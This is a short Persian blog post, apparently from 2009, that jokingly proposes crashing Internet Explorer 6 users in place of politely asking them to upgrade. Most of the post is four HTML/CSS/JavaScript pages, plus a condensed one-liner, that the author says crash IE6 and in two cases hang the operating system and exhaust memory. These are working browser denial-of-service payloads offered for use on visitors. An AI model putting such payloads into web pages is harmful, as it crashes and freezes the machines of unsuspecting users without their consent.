۱۳۸۷/۱۱/۲۸

كمي شوخي با IE6


اخيرا عده‌اي از همكاران عنوان مي‌كنند كه "لطفا" از IE6 استفاده نكنيد، يا يك پيغام "لطيف" را به كاربران IE6 نمايش مي‌دهند و امثال آن. نظر شما در مورد استفاده از روش‌هاي زير چيست؟ :-)

مثال زير را در نظر بگيريد:

<html>
<head>
<title>crash-1</title>
<style type="text/css">
* {position: relative;}
</style>
</head>
<body>

<table><input></table>

</body>

</html>

IE6 كاربر، پس از باز كردن اين صفحه، بلافاصله محو خواهد شد. به صورت خلاصه همين يك سطر زير براي كرش IE6 كافي است:

<style>*{position:relative}</style><table><input></table>

مثال 2:
<html>
<head>
<title>crash-2</title>
<script type="text/javascript">for (x in document.write) { document.write(x);}</script>
</head>
<body>
Test-2
</body>

</html>

اين يك سطر اسكريپت نيز سبب كرش IE6 خواهد شد.

مثال 3:
اين مورد كمي خطرناك است و سبب هنگ كل سيستم عامل خواهد شد و همچنين مصرف شديد حافظه تا حد ممكن.
<html>
<head>
<title>crash-3</title>
<style type="text/css">
:link:hover {
color: #f00;
}
:link .images {
width: 300px;
display: none;
}
:link:hover .images {
position: absolute;
top: 10px;
left: 230px;
display: block;
}
</style>
</head>

<body>

<a href="#">Line 1
<div class="images">
Line 2: HOVERING OVER THIS LINE MAY CRASH THE BROWSER! <br>Line 3: What is happening
here?</div>
</a>

</body>

</html>

مثال 4:
اين مورد نيز سبب هنگ سيستم عامل مي‌شود:

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<head>
<style type="text/css">
a {
padding:2px;
white-space:nowrap;
position:relative;
}
</style>
</head>
<body>

<div>
<a href="#">Option 1</a>
<a href="#">Option 2</a>
</div>

</body>
</html>

و اما روش‌هاي محترمانه!